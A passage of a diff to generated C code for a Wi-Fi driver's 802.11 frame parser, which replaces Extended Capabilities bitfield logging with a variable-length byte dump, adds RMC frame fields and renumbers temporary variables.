DOT11F_TDLSSETUPREQ), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPREQ), FRFL("SuppOperatingClasses:\n")); if (!pFrm->SuppOperatingClasses.present) @@ -19573,7 +19131,7 @@ tANI_U32 dot11fUnpackTDLSSetupReq(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 n {offsetof(tDot11fTDLSSetupRsp, ExtSuppRates), offsetof(tDot11fIEExtSuppRates, present), 0, "ExtSuppRates" , 0, 3, 14, SigIeExtSuppRates, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTSUPPRATES, 0, }, {offsetof(tDot11fTDLSSetupRsp, SuppChannels), offsetof(tDot11fIESuppChannels, present), 0, "SuppChannels" , 0, 4, 98, SigIeSuppChannels, {0, 0, 0, 0, 0}, 0, DOT11F_EID_SUPPCHANNELS, 0, }, {offsetof(tDot11fTDLSSetupRsp, RSN), offsetof(tDot11fIERSN, present), 0, "RSN" , 0, 8, 116, SigIeRSN, {0, 0, 0, 0, 0}, 0, DOT11F_EID_RSN, 0, }, - {offsetof(tDot11fTDLSSetupRsp, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 10, 10, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, + {offsetof(tDot11fTDLSSetupRsp, ExtCap), offsetof(tDot11fIEExtCap, present), 0, "ExtCap" , 0, 3, 11, SigIeExtCap, {0, 0, 0, 0, 0}, 0, DOT11F_EID_EXTCAP, 0, }, {offsetof(tDot11fTDLSSetupRsp, SuppOperatingClasses), offsetof(tDot11fIESuppOperatingClasses, present), 0, "SuppOperatingClasses" , 0, 3, 34, SigIeSuppOperatingClasses, {0, 0, 0, 0, 0}, 0, DOT11F_EID_SUPPOPERATINGCLASSES, 0, }, {offsetof(tDot11fTDLSSetupRsp, QOSCapsStation), offsetof(tDot11fIEQOSCapsStation, present), 0, "QOSCapsStation" , 0, 3, 3, SigIeQOSCapsStation, {0, 0, 0, 0, 0}, 0, DOT11F_EID_QOSCAPSSTATION, 0, }, {offsetof(tDot11fTDLSSetupRsp, FTInfo), offsetof(tDot11fIEFTInfo, present), 0, "FTInfo" , 0, 84, 222, SigIeFTInfo, {0, 0, 0, 0, 0}, 0, DOT11F_EID_FTINFO, 0, }, @@ -19692,57 +19250,8 @@ tANI_U32 dot11fUnpackTDLSSetupRsp(tpAniSirGlobal pCtx, tANI_U8 *pBuf, tANI_U32 n } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("SuppOperatingClasses:\n")); if (!pFrm->SuppOperatingClasses.present) @@ -20585,6 +20094,9 @@ static tANI_U32 UnpackCore(tpAniSirGlobal pCtx, case SigFfListenInterval: dot11fUnpackFfCommonFunc(pCtx, pBufRemaining, (tANI_U16*)&((( tDot11fFfListenInterval* )(pFrm + pFf->offset ))->interval)); break; + case SigFfMagicCode: + dot11fUnpackFfMagicCode(pCtx, pBufRemaining, ( tDot11fFfMagicCode* )(pFrm + pFf->offset )); + break; case SigFfMaxTxPower: dot11fUnpackFfMaxTxPower(pCtx, pBufRemaining, ( tDot11fFfMaxTxPower* )(pFrm + pFf->offset )); break; @@ -20603,12 +20115,24 @@ static tANI_U32 UnpackCore(tpAniSirGlobal pCtx, case SigFfRCPI: dot11fUnpackFfRCPI(pCtx, pBufRemaining, ( tDot11fFfRCPI* )(pFrm + pFf->offset )); break; + case SigFfRMCDialogToken: + dot11fUnpackFfRMCDialogToken(pCtx, pBufRemaining, ( tDot11fFfRMCDialogToken* )(pFrm + pFf->offset )); + break; + case SigFfRMCOUI: + dot11fUnpackFfRMCOUI(pCtx, pBufRemaining, ( tDot11fFfRMCOUI* )(pFrm + pFf->offset )); + break; + case SigFfRMCVersion: + dot11fUnpackFfRMCVersion(pCtx, pBufRemaining, ( tDot11fFfRMCVersion* )(pFrm + pFf->offset )); + break; case SigFfRSNI: dot11fUnpackFfRSNI(pCtx, pBufRemaining, ( tDot11fFfRSNI* )(pFrm + pFf->offset )); break; case SigFfReason: dot11fUnpackFfCommonFunc(pCtx, pBufRemaining, (tANI_U16*)&((( tDot11fFfReason* )(pFrm + pFf->offset ))->code)); break; + case SigFfRuler: + dot11fUnpackFfRuler(pCtx, pBufRemaining, ( tDot11fFfRuler* )(pFrm + pFf->offset )); + break; case SigFfRxAntennaId: dot11fUnpackFfRxAntennaId(pCtx, pBufRemaining, ( tDot11fFfRxAntennaId* )(pFrm + pFf->offset )); break; @@ -22631,6 +22155,14 @@ tANI_U32 dot11fGetPackedQosMapConfigureSize(tpAniSirGlobal pCtx, tDot11fQosMapCo return status; } /* End dot11fGetPackedQosMapConfigureSize. */ +tANI_U32 dot11fGetPackedRMCSize(tpAniSirGlobal pCtx, tDot11fRMC *pFrm, tANI_U32 *pnNeeded) +{ + tANI_U32 status = 0; + *pnNeeded = 22; + status = GetPackedSizeCore(pCtx, ( tANI_U8* )pFrm, pnNeeded, IES_RMC); + return status; +} /* End dot11fGetPackedRMCSize. */ + tANI_U32 dot11fGetPackedRadioMeasurementReportSize(tpAniSirGlobal pCtx, tDot11fRadioMeasurementReport *pFrm, tANI_U32 *pnNeeded) { tANI_U32 status = 0; @@ -23124,7 +22656,7 @@ static tANI_U32 GetPackedSizeCore(tpAniSirGlobal pCtx, break; case SigIeExtCap: offset = sizeof(tDot11fIEExtCap); - byteCount = 8; + byteCount = ((tDot11fIEExtCap* )(pFrm + pIe->offset + sizeof(tDot11fIEExtCap) * i ))->num_bytes; pIePresent = ( (tDot11fIEExtCap* )(pFrm + pIe->offset + offset * i ))->present; break; case SigIeExtChanSwitchAnn: @@ -23759,13 +23291,13 @@ void dot11fPackFfAddBAParameterSet(tpAniSirGlobal pCtx, tDot11fFfAddBAParameterSet *pSrc, tANI_U8 *pBuf) { - tANI_U16 tmp81__; - tmp81__ = 0U; - tmp81__ |= ( pSrc->amsduSupported << 0 ); - tmp81__ |= ( pSrc->policy << 1 ); - tmp81__ |= ( pSrc->tid << 2 ); - tmp81__ |= ( pSrc->bufferSize << 6 ); - frameshtons(pCtx, pBuf, tmp81__, 0); + tANI_U16 tmp78__; + tmp78__ = 0U; + tmp78__ |= ( pSrc->amsduSupported << 0 ); + tmp78__ |= ( pSrc->policy << 1 ); + tmp78__ |= ( pSrc->tid << 2 ); + tmp78__ |= ( pSrc->bufferSize << 6 ); + frameshtons(pCtx, pBuf, tmp78__, 0); (void)pCtx; } /* End dot11fPackFfAddBAParameterSet. */ @@ -23789,11 +23321,11 @@ void dot11fPackFfBAStartingSequenceControl(tpAniSirGlobal pCtx, tDot11fFfBAStartingSequenceControl *pSrc, tANI_U8 *pBuf) { - tANI_U16 tmp82__; - tmp82__ = 0U; - tmp82__ |= ( pSrc->fragNumber << 0 ); - tmp82__ |= ( pSrc->ssn << 4 ); - frameshtons(pCtx, pBuf, tmp82__, 0); + tANI_U16 tmp79__; + tmp79__ = 0U; + tmp79__ |= ( pSrc->fragNumber << 0 ); + tmp79__ |= ( pSrc->ssn << 4 ); + frameshtons(pCtx, pBuf, tmp79__, 0); (void)pCtx; } /* End dot11fPackFfBAStartingSequenceControl. */ @@ -23817,25 +23349,25 @@ void dot11fPackFfCapabilities(tpAniSirGlobal pCtx, tDot11fFfCapabilities *pSrc, tANI_U8 *pBuf) { - tANI_U16 tmp83__; - tmp83__ = 0U; - tmp83__ |= ( pSrc->ess << 0 ); - tmp83__ |= ( pSrc->ibss << 1 ); - tmp83__ |= ( pSrc->cfPollable << 2 ); - tmp83__ |= ( pSrc->cfPollReq << 3 ); - tmp83__ |= ( pSrc->privacy << 4 ); - tmp83__ |= ( pSrc->shortPreamble << 5 ); - tmp83__ |= ( pSrc->pbcc << 6 ); - tmp83__ |= ( pSrc->channelAgility << 7 ); - tmp83__ |= ( pSrc->spectrumMgt << 8 ); - tmp83__ |= ( pSrc->qos << 9 ); - tmp83__ |= ( pSrc->shortSlotTime << 10 ); - tmp83__ |= ( pSrc->apsd << 11 ); - tmp83__ |= ( pSrc->rrm << 12 ); - tmp83__ |= ( pSrc->dsssOfdm << 13 ); - tmp83__ |= ( pSrc->delayedBA << 14 ); - tmp83__ |= ( pSrc->immediateBA << 15 ); - frameshtons(pCtx, pBuf, tmp83__, 0); + tANI_U16 tmp80__; + tmp80__ = 0U; + tmp80__ |= ( pSrc->ess << 0 ); + tmp80__ |= ( pSrc->ibss << 1 ); + tmp80__ |= ( pSrc->cfPollable << 2 ); + tmp80__ |= ( pSrc->cfPollReq << 3 ); + tmp80__ |= ( pSrc->privacy << 4 ); + tmp80__ |= ( pSrc->shortPreamble << 5 ); + tmp80__ |= ( pSrc->pbcc << 6 ); + tmp80__ |= ( pSrc->channelAgility << 7 ); + tmp80__ |= ( pSrc->spectrumMgt << 8 ); + tmp80__ |= ( pSrc->qos << 9 ); + tmp80__ |= ( pSrc->shortSlotTime << 10 ); + tmp80__ |= ( pSrc->apsd << 11 ); + tmp80__ |= ( pSrc->rrm << 12 ); + tmp80__ |= ( pSrc->dsssOfdm << 13 ); + tmp80__ |= ( pSrc->delayedBA << 14 ); + tmp80__ |= ( pSrc->immediateBA << 15 ); + frameshtons(pCtx, pBuf, tmp80__, 0); (void)pCtx; } /* End dot11fPackFfCapabilities. */ @@ -23859,12 +23391,12 @@ void dot11fPackFfDelBAParameterSet(tpAniSirGlobal pCtx, tDot11fFfDelBAParameterSet *pSrc, tANI_U8 *pBuf) { - tANI_U16 tmp84__; - tmp84__ = 0U; - tmp84__ |= ( pSrc->reserved << 0 ); - tmp84__ |= ( pSrc->initiator << 11 ); - tmp84__ |= ( pSrc->tid << 12 ); - frameshtons(pCtx, pBuf, tmp84__, 0); + tANI_U16 tmp81__; + tmp81__ = 0U; + tmp81__ |= ( pSrc->reserved << 0 ); + tmp81__ |= ( pSrc->initiator << 11 ); + tmp81__ |= ( pSrc->tid << 12 ); + frameshtons(pCtx, pBuf, tmp81__, 0); (void)pCtx; } /* End dot11fPackFfDelBAParameterSet. */ @@ -23892,6 +23424,14 @@ void dot11fPackFfListenInterval(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fPackFfListenInterval. */ +void dot11fPackFfMagicCode(tpAniSirGlobal pCtx, + tDot11fFfMagicCode *pSrc, + tANI_U8 *pBuf) +{ + DOT11F_MEMCPY(pCtx, pBuf, pSrc->magic, 6); + (void)pCtx; +} /* End dot11fPackFfMagicCode. */ + void dot11fPackFfMaxTxPower(tpAniSirGlobal pCtx, tDot11fFfMaxTxPower *pSrc, tANI_U8 *pBuf) @@ -23912,13 +23452,13 @@ void dot11fPackFfOperatingMode(tpAniSirGlobal pCtx, tDot11fFfOperatingMode *pSrc, tANI_U8 *pBuf) { - tANI_U8 tmp85__; - tmp85__ = 0U; - tmp85__ |= ( pSrc->chanWidth << 0 ); - tmp85__ |= ( pSrc->reserved << 2 ); - tmp85__ |= ( pSrc->rxNSS << 4 ); - tmp85__ |= ( pSrc->rxNSSType << 7 ); - *pBuf = tmp85__; + tANI_U8 tmp82__; + tmp82__ = 0U; + tmp82__ |= ( pSrc->chanWidth << 0 ); + tmp82__ |= ( pSrc->reserved << 2 ); + tmp82__ |= ( pSrc->rxNSS << 4 ); + tmp82__ |= ( pSrc->rxNSSType << 7 ); + *pBuf = tmp82__; (void)pCtx; } /* End dot11fPackFfOperatingMode. */ @@ -23946,6 +23486,30 @@ void dot11fPackFfRCPI(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fPackFfRCPI. */ +void dot11fPackFfRMCDialogToken(tpAniSirGlobal pCtx, + tDot11fFfRMCDialogToken *pSrc, + tANI_U8 *pBuf) +{ + frameshtonl(pCtx, pBuf, pSrc->token, 0); + (void)pCtx; +} /* End dot11fPackFfRMCDialogToken. */ + +void dot11fPackFfRMCOUI(tpAniSirGlobal pCtx, + tDot11fFfRMCOUI *pSrc, + tANI_U8 *pBuf) +{ + DOT11F_MEMCPY(pCtx, pBuf, pSrc->oui, 3); + (void)pCtx; +} /* End dot11fPackFfRMCOUI. */ + +void dot11fPackFfRMCVersion(tpAniSirGlobal pCtx, + tDot11fFfRMCVersion *pSrc, + tANI_U8 *pBuf) +{ + *pBuf = pSrc->version; + (void)pCtx; +} /* End dot11fPackFfRMCVersion. */ + void dot11fPackFfRSNI(tpAniSirGlobal pCtx, tDot11fFfRSNI *pSrc, tANI_U8 *pBuf) @@ -23962,6 +23526,14 @@ void dot11fPackFfReason(tpAniSirGlobal pCtx, (void)pCtx; } /* End dot11fPackFfReason. */ +void dot11fPackFfRuler(tpAniSirGlobal pCtx, + tDot11fFfRuler *pSrc, + tANI_U8 *pBuf) +{ + DOT11F_MEMCPY(pCtx, pBuf, pSrc->mac, 6); + (void)pCtx; +} /* End dot11fPackFfRuler. */ + void dot11fPackFfRxAntennaId(tpAniSirGlobal pCtx, tDot11fFfRxAntennaId *pSrc, tANI_U8 *pBuf) @@ -23974,12 +23546,12 @@ void dot11fPackFfSMPowerModeSet(tpAniSirGlobal pCtx, tDot11fFfSMPowerModeSet *pSrc, tANI_U8 *pBuf) { - tANI_U8 tmp86__; - tmp86__ = 0U; - tmp86__ |= ( pSrc->PowerSave_En << 0 ); - tmp86__ |= ( pSrc->Mode << 1 ); - tmp86__ |= ( pSrc->reserved << 2 ); - *pBuf = tmp86__; + tANI_U8 tmp83__; + tmp83__ = 0U; + tmp83__ |= ( pSrc->PowerSave_En << 0 ); + tmp83__ |= ( pSrc->Mode << 1 ); + tmp83__ |= ( pSrc->reserved << 2 ); + *pBuf = tmp83__; (void)pCtx; } /* End dot11fPackFfSMPowerModeSet. */ @@ -24019,19 +23591,19 @@ void dot11fPackFfTSInfo(tpAniSirGlobal pCtx, tDot11fFfTSInfo *pSrc, tANI_U8 *pBuf) { - tANI_U32 tmp87__; - tmp87__ = 0U; - tmp87__ |= ( pSrc->traffic_type << 0 ); - tmp87__ |= ( pSrc->tsid << 1 ); - tmp87__ |= ( pSrc->direction << 5 ); - tmp87__ |= ( pSrc->access_policy << 7 ); - tmp87__ |= ( pSrc->aggregation << 9 ); - tmp87__ |= ( pSrc->psb << 10 ); - tmp87__ |= ( pSrc->user_priority << 11 ); - tmp87__ |= ( pSrc->tsinfo_ack_pol << 14 ); - tmp87__ |= ( pSrc->schedule << 16 ); - tmp87__ |= ( pSrc->unused << 17 ); - frameshtonl(pCtx, pBuf, tmp87__, 0); + tANI_U32 tmp84__; + tmp84__ = 0U; + tmp84__ |= ( pSrc->traffic_type << 0 ); + tmp84__ |= ( pSrc->tsid << 1 ); + tmp84__ |= ( pSrc->direction << 5 ); + tmp84__ |= ( pSrc->access_policy << 7 ); + tmp84__ |= ( pSrc->aggregation << 9 ); + tmp84__ |= ( pSrc->psb << 10 ); + tmp84__ |= ( pSrc->user_priority << 11 ); + tmp84__ |= ( pSrc->tsinfo_ack_pol << 14 ); + tmp84__ |= ( pSrc->schedule << 16 ); + tmp84__ |= ( pSrc->unused << 17 ); + frameshtonl(pCtx, pBuf, tmp84__, 0); (void)pCtx; } /* End dot11fPackFfTSInfo. */ @@ -24152,7 +23724,7 @@ tANI_U32 dot11fPackTlvVersion2(tpAniSirGlobal pCtx, tANI_U8* pTlvLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp88__; + tANI_U8 tmp85__; nNeeded += 3; if ( nNeeded > nBuf ) return DOT11F_BUFFER_OVERFLOW; while ( pSrc->present ) @@ -24161,10 +23733,10 @@ tANI_U32 dot11fPackTlvVersion2(tpAniSirGlobal pCtx, pBuf += 1; *pnConsumed += 1; pTlvLen = pBuf; pBuf += 1; *pnConsumed += 1; - tmp88__ = 0U; - tmp88__ |= ( pSrc->minor << 0 ); - tmp88__ |= ( pSrc->major << 4 ); - *pBuf = tmp88__; + tmp85__ = 0U; + tmp85__ |= ( pSrc->minor << 0 ); + tmp85__ |= ( pSrc->major << 4 ); + *pBuf = tmp85__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; @@ -25373,7 +24945,7 @@ tANI_U32 dot11fPackTlvVersion(tpAniSirGlobal pCtx, tANI_U8* pTlvLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp89__; + tANI_U8 tmp86__; nNeeded += 5; if ( nNeeded > nBuf ) return DOT11F_BUFFER_OVERFLOW; while ( pSrc->present ) @@ -25382,10 +24954,10 @@ tANI_U32 dot11fPackTlvVersion(tpAniSirGlobal pCtx, pBuf += 2; *pnConsumed += 2; pTlvLen = pBuf; pBuf += 2; *pnConsumed += 2; - tmp89__ = 0U; - tmp89__ |= ( pSrc->minor << 0 ); - tmp89__ |= ( pSrc->major << 4 ); - *pBuf = tmp89__; + tmp86__ = 0U; + tmp86__ |= ( pSrc->minor << 0 ); + tmp86__ |= ( pSrc->major << 4 ); + *pBuf = tmp86__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; @@ -25591,7 +25163,7 @@ tANI_U32 dot11fPackIeGTK(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U16 tmp90__; + tANI_U16 tmp87__; nNeeded += (pSrc->num_key + 11); while ( pSrc->present ) { @@ -25600,10 +25172,10 @@ tANI_U32 dot11fPackIeGTK(tpAniSirGlobal pCtx, ++pBuf; ++(*pnConsumed); pIeLen = pBuf; ++pBuf; ++(*pnConsumed); - tmp90__ = 0U; - tmp90__ |= ( pSrc->keyId << 0 ); - tmp90__ |= ( pSrc->reserved << 2 ); - frameshtons(pCtx, pBuf, tmp90__, 0); + tmp87__ = 0U; + tmp87__ |= ( pSrc->keyId << 0 ); + tmp87__ |= ( pSrc->reserved << 2 ); + frameshtons(pCtx, pBuf, tmp87__, 0); *pnConsumed += 2; pBuf += 2; nBuf -= 2 ; @@ -25899,14 +25471,14 @@ tANI_U32 dot11fPackIePropEDCAParams(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; + tANI_U8 tmp88__; + tANI_U8 tmp89__; + tANI_U8 tmp90__; tANI_U8 tmp91__; tANI_U8 tmp92__; tANI_U8 